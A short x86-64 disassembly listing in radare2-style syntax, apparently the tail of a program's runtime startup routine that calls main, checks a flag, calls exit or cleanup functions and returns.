call fcn.140011460
nop
call fcn.140013ca0
mov dword [rsp + 0x28], eax
call fcn.14001133e
movzx eax, al
test eax, eax
jne 0x140013b9c
mov ecx, dword [rsp + 0x28]
call fcn.14001106e
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140013bab
call fcn.14001146a
nop
xor edx, edx
mov cl, 1
call fcn.1400111b8
mov eax, dword [rsp + 0x28]
jmp 0x140013bf1
add rsp, 0x68
ret